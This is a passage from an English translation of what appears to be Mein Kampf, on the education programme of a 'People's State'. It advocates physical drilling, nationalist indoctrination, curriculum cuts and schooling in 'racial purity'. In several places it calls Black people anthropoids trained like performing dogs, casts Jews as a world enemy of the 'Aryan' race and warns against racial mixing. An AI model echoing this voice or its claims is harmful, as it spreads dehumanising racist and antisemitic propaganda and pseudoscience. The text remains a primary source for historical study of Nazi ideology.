Here +again special importance must be given to physical training, and only +after that must the importance of spiritual and mental training be taken +into account. In the education of the girl the final goal always to be +kept in mind is that she is one day to be a mother. + +It is only in the second place that the People's State must busy itself +with the training of character, using all the means adapted to that +purpose. + +Of course the essential traits of the individual character are already +there fundamentally before any education takes place. A person who is +fundamentally egoistic will always remain fundamentally egoistic, and +the idealist will always remain fundamentally an idealist. Besides +those, however, who already possess a definite stamp of character there +are millions of people with characters that are indefinite and vague. +The born delinquent will always remain a delinquent, but numerous people +who show only a certain tendency to commit criminal acts may become +useful members of the community if rightly trained; whereas, on the +other hand, weak and unstable characters may easily become evil elements +if the system of education has been bad. + +During the War it was often lamented that our people could be so little +reticent. This failing made it very difficult to keep even highly +important secrets from the knowledge of the enemy. But let us ask this +question: What did the German educational system do in pre-War times to +teach the Germans to be discreet? Did it not very often happen in +schooldays that the little tell-tale was preferred to his companions who +kept their mouths shut? Is it not true that then, as well as now, +complaining about others was considered praiseworthy 'candour', while +silent discretion was taken as obstinacy? Has any attempt ever been made +to teach that discretion is a precious and manly virtue? No, for such +matters are trifles in the eyes of our educators. But these trifles cost +our State innumerable millions in legal expenses; for 90 per cent of all +the processes for defamation and such like charges arise only from a +lack of discretion. Remarks that are made without any sense of +responsibility are thoughtlessly repeated from mouth to mouth; and our +economic welfare is continually damaged because important methods of +production are thus disclosed. Secret preparations for our national +defence are rendered illusory because our people have never learned the +duty of silence. They repeat everything they happen to hear. In times of +war such talkative habits may even cause the loss of battles and +therefore may contribute essentially to the unsuccessful outcome of a +campaign. Here, as in other matters, we may rest assured that adults +cannot do what they have not learnt to do in youth. A teacher must not +try to discover the wild tricks of the boys by encouraging the evil +practice of tale-bearing. Young people form a sort of State among +themselves and face adults with a certain solidarity. That is quite +natural. The ties which unite the ten-year boys to one another are +stronger and more natural than their relationship to adults. A boy who +tells on his comrades commits an act of treason and shows a bent of +character which is, to speak bluntly, similar to that of a man who +commits high treason. Such a boy must not be classed as 'good', +'reliable', and so on, but rather as one with undesirable traits of +character. It may be rather convenient for the teacher to make use of +such unworthy tendencies in order to help his own work, but by such an +attitude the germ of a moral habit is sown in young hearts and may one +day show fatal consequences. It has happened more often than once that a +young informer developed into a big scoundrel. + +This is only one example among many. The deliberate training of fine and +noble traits of character in our schools to-day is almost negative. In +the future much more emphasis will have to be laid on this side of our +educational work. Loyalty, self-sacrifice and discretion are virtues +which a great nation must possess. And the teaching and development of +these in the school is a more important matter than many others things +now included in the curriculum. To make the children give up habits of +complaining and whining and howling when they are hurt, etc., also +belongs to this part of their training. If the educational system fails +to teach the child at an early age to endure pain and injury without +complaining we cannot be surprised if at a later age, when the boy has +grown to be the man and is, for example, in the trenches, the postal +service is used for nothing else than to send home letters of weeping +and complaint. If our youths, during their years in the primary schools, +had had their minds crammed with a little less knowledge, and if instead +they had been better taught how to be masters of themselves, it would +have served us well during the years 1914-1918. + +In its educational system the People's State will have to attach the +highest importance to the development of character, hand-in-hand with +physical training. Many more defects which our national organism shows +at present could be at least ameliorated, if not completely eliminated, +by education of the right kind. + +Extreme importance should be attached to the training of will-power and +the habit of making firm decisions, also the habit of being always ready +to accept responsibilities. + +In the training of our old army the principle was in vogue that any +order is always better than no order. Applied to our youth this +principle ought to take the form that any answer is better than no +answer. The fear of replying, because one fears to be wrong, ought to be +considered more humiliating than giving the wrong reply. On this simple +and primitive basis our youth should be trained to have the courage to +act. + +It has been often lamented that in November and December 1918 all the +authorities lost their heads and that, from the monarch down to the last +divisional commander, nobody had sufficient mettle to make a decision on +his own responsibility. That terrible fact constitutes a grave rebuke to +our educational system; because what was then revealed on a colossal +scale at that moment of catastrophe was only what happens on a smaller +scale everywhere among us. It is the lack of will-power, and not the +lack of arms, which renders us incapable of offering any serious +resistance to-day. This defect is found everywhere among our people and +prevents decisive action wherever risks have to be taken, as if any +great action can be taken without also taking the risk. Quite +unsuspectingly, a German General found a formula for this lamentable +lack of the will-to-act when he said: "I act only when I can count on a +51 per cent probability of success." In that '51 per cent probability' +we find the very root of the German collapse. The man who demands from +Fate a guarantee of his success deliberately denies the significance of +an heroic act. For this significance consists in the very fact that, in +the definite knowledge that the situation in question is fraught with +mortal danger, an action is undertaken which may lead to success. A +patient suffering from cancer and who knows that his death is certain if +he does not undergo an operation, needs no 51 per cent probability of a +cure before facing the operation. And if the operation promises only +half of one per cent probability of success a man of courage will risk +it and would not whine if it turned out unsuccessful. + +All in all, the cowardly lack of will-power and the incapacity for +making decisions are chiefly results of the erroneous education given us +in our youth. The disastrous effects of this are now widespread among +us. The crowning examples of that tragic chain of consequences are shown +in the lack of civil courage which our leading statesmen display. + +The cowardice which leads nowadays to the shirking of every kind of +responsibility springs from the same roots. Here again it is the fault +of the education given our young people. This drawback permeates all +sections of public life and finds its immortal consummation in the +institutions of government that function under the parliamentary regime. + +Already in the school, unfortunately, more value is placed on +'confession and full repentance' and 'contrite renouncement', on the +part of little sinners, than on a simple and frank avowal. But this +latter seems to-day, in the eyes of many an educator, to savour of a +spirit of utter incorrigibility and depravation. And, though it may seem +incredible, many a boy is told that the gallows tree is waiting for him +because he has shown certain traits which might be of inestimable value +in the nation as a whole. + +Just as the People's State must one day give its attention to training +the will-power and capacity for decision among the youth, so too it must +inculcate in the hearts of the young generation from early childhood +onwards a readiness to accept responsibilities, and the courage of open +and frank avowal. If it recognizes the full significance of this +necessity, finally--after a century of educative work--it will succeed +in building up a nation which will no longer be subject to those defeats +that have contributed so disastrously to bring about our present +overthrow. + +The formal imparting of knowledge, which constitutes the chief work of +our educational system to-day, will be taken over by the People's State +with only few modifications. These modifications must be made in three +branches. + +First of all, the brains of the young people must not generally be +burdened with subjects of which ninety-five per cent are useless to them +and are therefore forgotten again. The curriculum of the primary and +secondary schools presents an odd mixture at the present time. In many +branches of study the subject matter to be learned has become so +enormous that only a very small fraction of it can be remembered later +on, and indeed only a very small fraction of this whole mass of +knowledge can be used. On the other hand, what is learned is +insufficient for anybody who wishes to specialize in any certain branch +for the purpose of earning his daily bread. Take, for example, the +average civil servant who has passed through the GYMNASIUM or High +School, and ask him at the age of thirty or forty how much he has +retained of the knowledge that was crammed into him with so much pains. + +How much is retained from all that was stuffed into his brain? He will +certainly answer: "Well, if a mass of stuff was then taught, it was not +for the sole purpose of supplying the student with a great stock of +knowledge from which he could draw in later years, but it served to +develop the understanding, the memory, and above all it helped to +strengthen the thinking powers of the brain." That is partly true. And +yet it is somewhat dangerous to submerge a young brain in a flood of +impressions which it can hardly master and the single elements of which +it cannot discern or appreciate at their just value. It is mostly the +essential part of this knowledge, and not the accidental, that is +forgotten and sacrificed. Thus the principal purpose of this copious +instruction is frustrated, for that purpose cannot be to make the brain +capable of learning by simply offering it an enormous and varied amount +of subjects for acquisition, but rather to furnish the individual with +that stock of knowledge which he will need in later life and which he +can use for the good of the community. This aim, however, is rendered +illusory if, because of the superabundance of subjects that have been +crammed into his head in childhood, a person is able to remember +nothing, or at least not the essential portion, of all this in later +life. There is no reason why millions of people should learn two or +three languages during the school years, when only a very small fraction +will have the opportunity to use these languages in later life and when +most of them will therefore forget those languages completely. To take +an instance: Out of 100,000 students who learn French there are probably +not 2,000 who will be in a position to make use of this accomplishment +in later life, while 98,000 will never have a chance to utilize in +practice what they have learned in youth. They have spent thousands of +hours on a subject which will afterwards be without any value or +importance to them. The argument that these matters form part of the +general process of educating the mind is invalid. It would be sound if +all these people were able to use this learning in after life. But, as +the situation stands, 98,000 are tortured to no purpose and waste their +valuable time, only for the sake of the 2,000 to whom the language will +be of any use. + +In the case of that language which I have chosen as an example it cannot +be said that the learning of it educates the student in logical thinking +or sharpens his mental acumen, as the learning of Latin, for instance, +might be said to do. It would therefore be much better to teach young +students only the general outline, or, better, the inner structure of +such a language: that is to say, to allow them to discern the +characteristic features of the language, or perhaps to make them +acquainted with the rudiments of its grammar, its pronunciation, its +syntax, style, etc. That would be sufficient for average students, +because it would provide a clearer view of the whole and could be more +easily remembered. And it would be more practical than the present-day +attempt to cram into their heads a detailed knowledge of the whole +language, which they can never master and which they will readily +forget. If this method were adopted, then we should avoid the danger +that, out of the superabundance of matter taught, only some fragments +will remain in the memory; for the youth would then have to learn what +is worth while, and the selection between the useful and the useless +would thus have been made beforehand. + +As regards the majority of students the knowledge and understanding of +the rudiments of a language would be quite sufficient for the rest of +their lives. And those who really do need this language subsequently +would thus have a foundation on which to start, should they choose to +make a more thorough study of it. + +By adopting such a curriculum the necessary amount of time would be +gained for physical exercises as well as for a more intense training in +the various educational fields that have already been mentioned. + +A reform of particular importance is that which ought to take place in +the present methods of teaching history. Scarcely any other people are +made to study as much of history as the Germans, and scarcely any other +people make such a bad use of their historical knowledge. If politics +means history in the making, then our way of teaching history stands +condemned by the way we have conducted our politics. But there would be +no point in bewailing the lamentable results of our political conduct +unless one is now determined to give our people a better political +education. In 99 out of 100 cases the results of our present teaching of +history are deplorable. Usually only a few dates, years of birth and +names, remain in the memory, while a knowledge of the main and clearly +defined lines of historical development is completely lacking. The +essential features which are of real significance are not taught. It is +left to the more or less bright intelligence of the individual to +discover the inner motivating urge amid the mass of dates and +chronological succession of events. + +You may object as strongly as you like to this unpleasant statement. But +read with attention the speeches which our parliamentarians make during +one session alone on political problems and on questions of foreign +policy in particular. Remember that those gentlemen are, or claim to be, +the elite of the German nation and that at least a great number of them +have sat on the benches of our secondary schools and that many of them +have passed through our universities. Then you will realize how +defective the historical education of these people has been. If these +gentlemen had never studied history at all but had possessed a sound +instinct for public affairs, things would have gone better, and the +nation would have benefited greatly thereby. + +The subject matter of our historical teaching must be curtailed. The +chief value of that teaching is to make the principal lines of +historical development understood. The more our historical teaching is +limited to this task, the more we may hope that it will turn out +subsequently to be of advantage to the individual and, through the +individual, to the community as a whole. For history must not be studied +merely with a view to knowing what happened in the past but as a guide +for the future, and to teach us what policy would be the best to follow +for the preservation of our own people. That is the real end; and the +teaching of history is only a means to attain this end. But here again +the means has superseded the end in our contemporary education. The goal +is completely forgotten. Do not reply that a profound study of history +demands a detailed knowledge of all these dates because otherwise we +could not fix the great lines of development. That task belongs to the +professional historians. But the average man is not a professor of +history. For him history has only one mission and that is to provide him +with such an amount of historical knowledge as is necessary in order to +enable him to form an independent opinion on the political affairs of +his own country. The man who wants to become a professor of history can +devote himself to all the details later on. Naturally he will have to +occupy himself even with the smallest details. Of course our present +teaching of history is not adequate to all this. Its scope is too vast +for the average student and too limited for the student who wishes to be +an historical expert. + +Finally, it is the business of the People's State to arrange for the +writing of a world history in which the race problem will occupy a +dominant position. + +To sum up: The People's State must reconstruct our system of general +instruction in such a way that it will embrace only what is essential. +Beyond this it will have to make provision for a more advanced teaching +in the various subjects for those who want to specialize in them. It +will suffice for the average individual to be acquainted with the +fundamentals of the various subjects to serve as the basis of what may +be called an all-round education. He ought to study exhaustively and in +detail only that subject in which he intends to work during the rest of +his life. A general instruction in all subjects should be obligatory, +and specialization should be left to the choice of the individual. + +In this way the scholastic programme would be shortened, and thus +several school hours would be gained which could be utilized for +physical training and character training, in will-power, the capacity +for making practical judgments, decisions, etc. + +The little account taken by our school training to-day, especially in +the secondary schools, of the callings that have to be followed in after +life is demonstrated by the fact that men who are destined for the same +calling in life are educated in three different kinds of schools. What +is of decisive importance is general education only and not the special +teaching. When special knowledge is needed it cannot be given in the +curriculum of our secondary schools as they stand to-day. + +Therefore the People's State will one day have to abolish such +half-measures. + +The second modification in the curriculum which the People's State will +have to make is the following: + +It is a characteristic of our materialistic epoch that our scientific +education shows a growing emphasis on what is real and practical: such +subjects, for instance, as applied mathematics, physics, chemistry, etc. +Of course they are necessary in an age that is dominated by industrial +technology and chemistry, and where everyday life shows at least the +external manifestations of these. But it is a perilous thing to base the +general culture of a nation on the knowledge of these subjects. On the +contrary, that general culture ought always to be directed towards +ideals. It ought to be founded on the humanist disciplines and should +aim at giving only the ground work of further specialized instruction in +the various practical sciences. Otherwise we should sacrifice those +forces that are more important for the preservation of the nation than +any technical knowledge. In the historical department the study of +ancient history should not be omitted. Roman history, along general +lines, is and will remain the best teacher, not only for our own time +but also for the future. And the ideal of Hellenic culture should be +preserved for us in all its marvellous beauty. The differences between +the various peoples should not prevent us from recognizing the community +of race which unites them on a higher plane. The conflict of our times +is one that is being waged around great objectives. A civilization is +fighting for its existence. It is a civilization that is the product of +thousands of years of historical development, and the Greek as well as +the German forms part of it. + +A clear-cut division must be made between general culture and the +special branches. To-day the latter threaten more and more to devote +themselves exclusively to the service of Mammon. To counterbalance this +tendency, general culture should be preserved, at least in its ideal +forms. The principle should be repeatedly emphasized, that industrial +and technical progress, trade and commerce, can flourish only so long as +a folk community exists whose general system of thought is inspired by +ideals, since that is the preliminary condition for a flourishing +development of the enterprises I have spoken of. That condition is not +created by a spirit of materialist egotism but by a spirit of +self-denial and the joy of giving one's self in the service of others. + +The system of education which prevails to-day sees its principal object +in pumping into young people that knowledge which will help them to make +their way in life. This principle is expressed in the following terms: +"The young man must one day become a useful member of human society." By +that phrase they mean the ability to gain an honest daily livelihood. +The superficial training in the duties of good citizenship, which he +acquires merely as an accidental thing, has very weak foundations. For +in itself the State represents only a form, and therefore it is +difficult to train people to look upon this form as the ideal which they +will have to serve and towards which they must feel responsible. A form +can be too easily broken. But, as we have seen, the idea which people +have of the State to-day does not represent anything clearly defined. +Therefore, there is nothing but the usual stereotyped 'patriotic' +training. In the old Germany the greatest emphasis was placed on the +divine right of the small and even the smallest potentates. The way in +which this divine right was formulated and presented was never very +clever and often very stupid. Because of the large numbers of those +small potentates, it was impossible to give adequate biographical +accounts of the really great personalities that shed their lustre on the +history of the German people. The result was that the broad masses +received a very inadequate knowledge of German history. Here, too, the +great lines of development were missing. + +It is evident that in such a way no real national enthusiasm could be +aroused. Our educational system proved incapable of selecting from the +general mass of our historical personages the names of a few +personalities which the German people could be proud to look upon as +their own. Thus the whole nation might have been united by the ties of a +common knowledge of this common heritage. The really important figures +in German history were not presented to the present generation. The +attention of the whole nation was not concentrated on them for the +purpose of awakening a common national spirit. From the various subjects +that were taught, those who had charge of our training seemed incapable +of selecting what redounded most to the national honour and lifting that +above the common objective level, in order to inflame the national pride +in the light of such brilliant examples. At that time such a course +would have been looked upon as rank chauvinism, which did not then have +a very pleasant savour. Pettifogging dynastic patriotism was more +acceptable and more easily tolerated than the glowing fire of a supreme +national pride. The former could be always pressed into service, whereas +the latter might one day become a dominating force. Monarchist +patriotism terminated in Associations of Veterans, whereas passionate +national patriotism might have opened a road which would be difficult to +determine. This national passion is like a highly tempered thoroughbred +who is discriminate about the sort of rider he will tolerate in the +saddle. No wonder that most people preferred to shirk such a danger. +Nobody seemed to think it possible that one day a war might come which +would put the mettle of this kind of patriotism to the test, in +artillery bombardment and waves of attacks with poison gas. But when it +did come our lack of this patriotic passion was avenged in a terrible +way. None were very enthusiastic about dying for their imperial and +royal sovereigns; while on the other hand the 'Nation' was not +recognized by the greater number of the soldiers. + +Since the revolution broke out in Germany and the monarchist patriotism +was therefore extinguished, the purpose of teaching history was nothing +more than to add to the stock of objective knowledge. The present State +has no use for patriotic enthusiasm; but it will never obtain what it +really desires. For if dynastic patriotism failed to produce a supreme +power of resistance at a time when the principle of nationalism +dominated, it will be still less possible to arouse republican +enthusiasm. There can be no doubt that the German people would not have +stood on the field of battle for four and a half years to fight under +the battle slogan 'For the Republic,' and least of all those who created +this grand institution. + +In reality this Republic has been allowed to exist undisturbed only by +grace of its readiness and its promise to all and sundry, to pay tribute +and reparations to the stranger and to put its signature to any kind of +territorial renunciation. The rest of the world finds it sympathetic, +just as a weakling is always more pleasing to those who want to bend him +to their own uses than is a man who is made of harder metal. But the +fact that the enemy likes this form of government is the worst kind of +condemnation. They love the German Republic and tolerate its existence +because no better instrument could be found which would help them to +keep our people in slavery. It is to this fact alone that this +magnanimous institution owes its survival. And that is why it can +renounce any REAL system of national education and can feel satisfied +when the heroes of the REICH banner shout their hurrahs, but in reality +these same heroes would scamper away like rabbits if called upon to +defend that banner with their blood. + +The People's State will have to fight for its existence. It will not +gain or secure this existence by signing documents like that of the +Dawes Plan. But for its existence and defence it will need precisely +those things which our present system believes can be repudiated. The +more worthy its form and its inner national being. the greater will be +the envy and opposition of its adversaries. The best defence will not be +in the arms it possesses but in its citizens. Bastions of fortresses +will not save it, but the living wall of its men and women, filled with +an ardent love for their country and a passionate spirit of national +patriotism. + +Therefore the third point which will have to be considered in relation +to our educational system is the following: + +The People's State must realize that the sciences may also be made a +means of promoting a spirit of pride in the nation. Not only the history +of the world but the history of civilization as a whole must be taught +in the light of this principle. An inventor must appear great not only +as an inventor but also, and even more so, as a member of the nation. +The admiration aroused by the contemplation of a great achievement must +be transformed into a feeling of pride and satisfaction that a man of +one's own race has been chosen to accomplish it. But out of the +abundance of great names in German history the greatest will have to be +selected and presented to our young generation in such a way as to +become solid pillars of strength to support the national spirit. + +The subject matter ought to be systematically organized from the +standpoint of this principle. And the teaching should be so orientated +that the boy or girl, after leaving school, will not be a semi-pacifist, +a democrat or of something else of that kind, but a whole-hearted +German. So that this national feeling be sincere from the very +beginning, and not a mere pretence, the following fundamental and +inflexible principle should be impressed on the young brain while it is +yet malleable: The man who loves his nation can prove the sincerity of +this sentiment only by being ready to make sacrifices for the nation's +welfare. There is no such thing as a national sentiment which is +directed towards personal interests. And there is no such thing as a +nationalism that embraces only certain classes. Hurrahing proves nothing +and does not confer the right to call oneself national if behind that +shout there is no sincere preoccupation for the conservation of the +nation's well-being. One can be proud of one's people only if there is +no class left of which one need to be ashamed. When one half of a nation +is sunk in misery and worn out by hard distress, or even depraved or +degenerate, that nation presents such an unattractive picture that +nobody can feel proud to belong to it. It is only when a nation is sound +in all its members, physically and morally, that the joy of belonging to +it can properly be intensified to the supreme feeling which we call +national pride. But this pride, in its highest form, can be felt only by +those who know the greatness of their nation. + +The spirit of nationalism and a feeling for social justice must be fused +into one sentiment in the hearts of the youth. Then a day will come when +a nation of citizens will arise which will be welded together through a +common love and a common pride that shall be invincible and +indestructible for ever. + +The dread of chauvinism, which is a symptom of our time, is a sign of +its impotence. Since our epoch not only lacks everything in the nature +of exuberant energy but even finds such a manifestation disagreeable, +fate will never elect it for the accomplishment of any great deeds. For +the greatest changes that have taken place on this earth would have been +inconceivable if they had not been inspired by ardent and even +hysterical passions, but only by the bourgeois virtues of peacefulness +and order. + +One thing is certain: our world is facing a great revolution. The only +question is whether the outcome will be propitious for the Aryan portion +of mankind or whether the everlasting Jew will profit by it. + +By educating the young generation along the right lines, the People's +State will have to see to it that a generation of mankind is formed +which will be adequate to this supreme combat that will decide the +destinies of the world. + +That nation will conquer which will be the first to take this road. + +The whole organization of education and training which the People's +State is to build up must take as its crowning task the work of +instilling into the hearts and brains of the youth entrusted to it the +racial instinct and understanding of the racial idea. No boy or girl +must leave school without having attained a clear insight into the +meaning of racial purity and the importance of maintaining the racial +blood unadulterated. Thus the first indispensable condition for the +preservation of our race will have been established and thus the future +cultural progress of our people will be assured. + +For in the last analysis all physical and mental training would be in +vain unless it served an entity which is ready and determined to carry +on its own existence and maintain its own characteristic qualities. + +If it were otherwise, something would result which we Germans have cause +to regret already, without perhaps having hitherto recognized the extent +of the tragic calamity. We should be doomed to remain also in the future +only manure for civilization. And that not in the banal sense of the +contemporary bourgeois mind, which sees in a lost fellow member of our +people only a lost citizen, but in a sense which we should have +painfully to recognize: namely, that our racial blood would be destined +to disappear. By continually mixing with other races we might lift them +from their former lower level of civilization to a higher grade; but we +ourselves should descend for ever from the heights we had reached. + +Finally, from the racial standpoint this training also must find its +culmination in the military service. The term of military service is to +be a final stage of the normal training which the average German +receives. + +While the People's State attaches the greatest importance to physical +and mental training, it has also to consider, and no less importantly, +the task of selecting men for the service of the State itself. This +important matter is passed over lightly at the present time. Generally +the children of parents who are for the time being in higher situations +are in their turn considered worthy of a higher education. Here talent +plays a subordinate part. But talent can be estimated only relatively. +Though in general culture he may be inferior to the city child, a +peasant boy may be more talented than the son of a family that has +occupied high positions through many generations. But the superior +culture of the city child has in itself nothing to do with a greater or +lesser degree of talent; for this culture has its roots in the more +copious mass of impressions which arise from the more varied education +and the surroundings among which this child lives. If the intelligent +son of peasant parents were educated from childhood in similar +surroundings his intellectual accomplishments would be quite otherwise. +In our day there is only one sphere where the family in which a person +has been born means less than his innate gifts. That is the sphere of +art. Here, where a person cannot just 'learn,' but must have innate +gifts that later on may undergo a more or less happy development (in the +sense of a wise development of what is already there), money and +parental property are of no account. This is a good proof that genius is +not necessarily connected with the higher social strata or with wealth. +Not rarely the greatest artists come from poor families. And many a boy +from the country village has eventually become a celebrated master. + +It does not say much for the mental acumen of our time that advantage is +not taken of this truth for the sake of our whole intellectual life. The +opinion is advanced that this principle, though undoubtedly valid in the +field of art, has not the same validity in regard to what are called the +applied sciences. It is true that a man can be trained to a certain +amount of mechanical dexterity, just as a poodle can be taught +incredible tricks by a clever master. But such training does not bring +the animal to use his intelligence in order to carry out those tricks. +And the same holds good in regard to man. It is possible to teach men, +irrespective of talent or no talent, to go through certain scientific +exercises, but in such cases the results are quite as inanimate and +mechanical as in the case of the animal. It would even be possible to +force a person of mediocre intelligence, by means of a severe course of +intellectual drilling, to acquire more than the average amount of +knowledge; but that knowledge would remain sterile. The result would be +a man who might be a walking dictionary of knowledge but who will fail +miserably on every critical occasion in life and at every juncture where +vital decisions have to be taken. Such people need to be drilled +specially for every new and even most insignificant task and will never +be capable of contributing in the least to the general progress of +mankind. Knowledge that is merely drilled into people can at best +qualify them to fill government positions under our present regime. + +It goes without saying that, among the sum total of individuals who make +up a nation, gifted people are always to be found in every sphere of +life. It is also quite natural that the value of knowledge will be all +the greater the more vitally the dead mass of learning is animated by +the innate talent of the individual who possesses it. Creative work in +this field can be done only through the marriage of knowledge and +talent. + +One example will suffice to show how much our contemporary world is at +fault in this matter. From time to time our illustrated papers publish, +for the edification of the German philistine, the news that in some +quarter or other of the globe, and for the first time in that locality, +a Negro has become a lawyer, a teacher, a pastor, even a grand opera +tenor or something else of that kind. While the bourgeois blockhead +stares with amazed admiration at the notice that tells him how +marvellous are the achievements of our modern educational technique, the +more cunning Jew sees in this fact a new proof to be utilized for the +theory with which he wants to infect the public, namely that all men are +equal. It does not dawn on the murky bourgeois mind that the fact which +is published for him is a sin against reason itself, that it is an act +of criminal insanity to train a being who is only an anthropoid by birth +until the pretence can be made that he has been turned into a lawyer; +while, on the other hand, millions who belong to the most civilized +races have to remain in positions which are unworthy of their cultural +level. The bourgeois mind does not realize that it is a sin against the +will of the eternal Creator to allow hundreds of thousands of highly +gifted people to remain floundering in the swamp of proletarian misery +while Hottentots and Zulus are drilled to fill positions in the +intellectual professions. For here we have the product only of a +drilling technique, just as in the case of the performing dog. If the +same amount of care and effort were applied among intelligent races each +individual would become a thousand times more capable in such matters. + +This state of affairs would become intolerable if a day should arrive +when it no longer refers to exceptional cases. But the situation is +already intolerable where talent and natural gifts are not taken as +decisive factors in qualifying for the right to a higher education. It +is indeed intolerable to think that year after year hundreds of +thousands of young people without a single vestige of talent are deemed +worthy of a higher education, while other hundreds of thousands who +possess high natural gifts have to go without any sort of higher +schooling at all. The practical loss thus caused to the nation is +incalculable. If the number of important discoveries which have been +made in America has grown considerably in recent years one of the +reasons is that the number of gifted persons belonging to the lowest +social classes who were given a higher education in that country is +proportionately much larger than in Europe. + +A stock of knowledge packed into the brain will not suffice for the +making of discoveries. What counts here is only that knowledge which is +illuminated by natural talent. But with us at the present time no value +is placed on such gifts. Only good school reports count. + +Here is another educative work that is waiting for the People's State to +do. It will not be its task to assure a dominant influence to a certain +social class already existing, but it will be its duty to attract the +most competent brains in the total mass of the nation and promote them +to place and honour. It is not merely the duty of the State to give to +the average child a certain definite education in the primary school, +but it is also its duty to open the road to talent in the proper +direction. And above all, it must open the doors of the higher schools +under the State to talent of every sort, no matter in what social class +it may appear. This is an imperative necessity; for thus alone will it +be possible to develop a talented body of public leaders from the class +which represents learning that in itself is only a dead mass. + +There is still another reason why the State should provide for this +situation. Our intellectual class, particularly in Germany, is so shut +up in itself and fossilized that it lacks living contact with the +classes beneath it. Two evil consequences result from this: First, the +intellectual class neither understands nor sympathizes with the broad +masses. It has been so long cut off from all connection with them that +it cannot now have the necessary psychological ties that would enable it +to understand them. It has become estranged from the people. Secondly, +the intellectual class lacks the necessary will-power; for this faculty +is always weaker in cultivated circles, which live in seclusion, than +among the primitive masses of the people. God knows we Germans have +never been lacking in abundant scientific culture, but we have always +had a considerable lack of will-power and the capacity for making +decisions. For example, the more 'intellectual' our statesmen have been +the more lacking they have been, for the most part, in practical +achievement. Our political preparation and our technical equipment for +the world war were defective, certainly not because the brains governing +the nation were too little educated, but because the men who directed +our public affairs were over-educated, filled to over-flowing with +knowledge and intelligence, yet without any sound instinct and simply +without energy, or any spirit of daring. It was our nation's tragedy to +have to fight for its existence under a Chancellor who was a +dillydallying philosopher. If instead of a Bethmann von Hollweg we had +had a rough man of the people as our leader the heroic blood of the +common grenadier would not have been shed in vain. The exaggeratedly +intellectual material out of which our leaders were made proved to be +the best ally of the scoundrels who carried out the November revolution. +These intellectuals safeguarded the national wealth in a miserly +fashion, instead of launching it forth and risking it, and thus they set +the conditions on which the others won success. + +Here the Catholic Church presents an instructive example. Clerical +celibacy forces the Church to recruit its priests not from their own +ranks but progressively from the masses of the people. Yet there are not +many who recognize the significance of celibacy in this relation. But +therein lies the cause of the inexhaustible vigour which characterizes +that ancient institution. For by thus unceasingly recruiting the +ecclesiastical dignitaries from the lower classes of the people, the +Church is enabled not only to maintain the contact of instinctive +understanding with the masses of the population but also to assure +itself of always being able to draw upon that fund of energy which is +present in this form only among the popular masses. Hence the surprising +youthfulness of that gigantic organism, its mental flexibility and its +iron will-power. + +It will be the task of the Peoples' State so to organize and administer +its educational system that the existing intellectual class will be +constantly furnished with a supply of fresh blood from beneath. From the +bulk of the nation the State must sift out with careful scrutiny those +persons who are endowed with natural talents and see that they are +employed in the service of the community. For neither the State itself +nor the various departments of State exist to furnish revenues for +members of a special class, but to fulfil the tasks allotted to them. +This will be possible, however, only if the State trains individuals +specially for these offices. Such individuals must have the necessary +fundamental capabilities and will-power. The principle does not hold +true only in regard to the civil service but also in regard to all those +who are to take part in the intellectual and moral leadership of the +people, no matter in what sphere they may be employed. The greatness of +a people is partly dependent on the condition that it must succeed in +training the best brains for those branches of the public service for +which they show a special natural aptitude and in placing them in the +offices where they can do their best work for the good of the community. +If two nations of equal strength and quality engage in a mutual conflict +that nation will come out victorious which has entrusted its +intellectual and moral leadership to its best talents and that nation +will go under whose government represents only a common food trough for +privileged groups or classes and where the inner talents of its +individual members are not availed of. + +Of course such a reform seems impossible in the world as it is to-day. +The objection will at once be raised, that it is too much to expect from +the favourite son of a highly-placed civil servant, for instance, that +he shall work with his hands simply because somebody else whose parents +belong to the working-class seems more capable for a job in the civil +service. That argument may be valid as long as manual work is looked +upon in the same way as it is looked upon to-day. Hence the Peoples' +State will have to take up an attitude towards the appreciation of +manual labour which will be fundamentally different from that which now +exists. If necessary, it will have to organize a persistent system of +teaching which will aim at abolishing the present-day stupid habit of +looking down on physical labour as an occupation to be ashamed of. + +The individual will have to be valued, not by the class of work he does +but by the way in which he does it and by its usefulness to the +community. This statement may sound monstrous in an epoch when the most +brainless columnist on a newspaper staff is more esteemed than the most +expert mechanic, merely because the former pushes a pen. But, as I have +said, this false valuation does not correspond to the nature of things. +It has been artificially introduced, and there was a time when it did +not exist at all. The present unnatural state of affairs is one of those +general morbid phenomena that have arisen from our materialistic epoch. +Fundamentally every kind of work has a double value; the one material, +the other ideal. The material value depends on the practical importance +of the work to the life of the community. The greater the number of the +population who benefit from the work, directly or indirectly, the higher +will be its material value. This evaluation is expressed in the material +recompense which the individual receives for his labour. In +contradistinction to this purely material value there is the ideal +value. Here the work performed is not judged by its material importance +but by the degree to which it answers a necessity. Certainly the +material utility of an invention may be greater than that of the service +rendered by an everyday workman; but it is also certain that the +community needs each of those small daily services just as much as the +greater services. From the material point of view a distinction can be +made in the evaluation of different kinds of work according to their +utility to the community, and this distinction is expressed by the +differentiation in the scale of recompense; but on the ideal or abstract +plans all workmen become equal the moment each strives to do his best in +his own field, no matter what that field may be. It is on this that a +man's value must be estimated, and not on the amount of recompense +received. + +In a reasonably directed State care must be taken that each individual +is given the kind of work which corresponds to his capabilities. In +other words, people will be trained for the positions indicated by their +natural endowments; but these endowments or faculties are innate and +cannot be acquired by any amount of training, being a gift from Nature +and not merited by men. Therefore, the way in which men are generally +esteemed by their fellow-citizens must not be according to the kind of +work they do, because that has been more or less assigned to the +individual. Seeing that the kind of work in which the individual is +employed is to be accounted to his inborn gifts and the resultant +training which he has received from the community, he will have to be +judged by the way in which he performs this work entrusted to him by the +community. For the work which the individual performs is not the purpose +of his existence, but only a means. His real purpose in life is to +better himself and raise himself to a higher level as a human being; but +this he can only do in and through the community whose cultural life he +shares. And this community must always exist on the foundations on which +the State is based. He ought to contribute to the conservation of those +foundations. Nature determines the form of this contribution. It is the +duty of the individual to return to the community, zealously and +honestly, what the community has given him. He who does this deserves +the highest respect and esteem. Material remuneration may be given to +him whose work has a corresponding utility for the community; but the +ideal recompense must lie in the esteem to which everybody has a claim +who serves his people with whatever powers Nature has bestowed upon him +and which have been developed by the training he has received from the +national community. Then it will no longer be dishonourable to be an +honest craftsman; but it will be a cause of disgrace to be an +inefficient State official, wasting God's day and filching daily bread +from an honest public. Then it will be looked upon as quite natural that +positions should not be given to persons who of their very nature are +incapable of filling them. + +Furthermore, this personal efficiency will be the sole criterion of the +right to take part on an equal juridical footing in general civil +affairs. + +The present epoch is working out its own ruin. It introduces universal +suffrage, chatters about equal rights but can find no foundation for +this equality. It considers the material wage as the expression of a +man's value and thus destroys the basis of the noblest kind of equality +that can exist. For equality cannot and does not depend on the work a +man does, but only on the manner in which each one does the particular +work 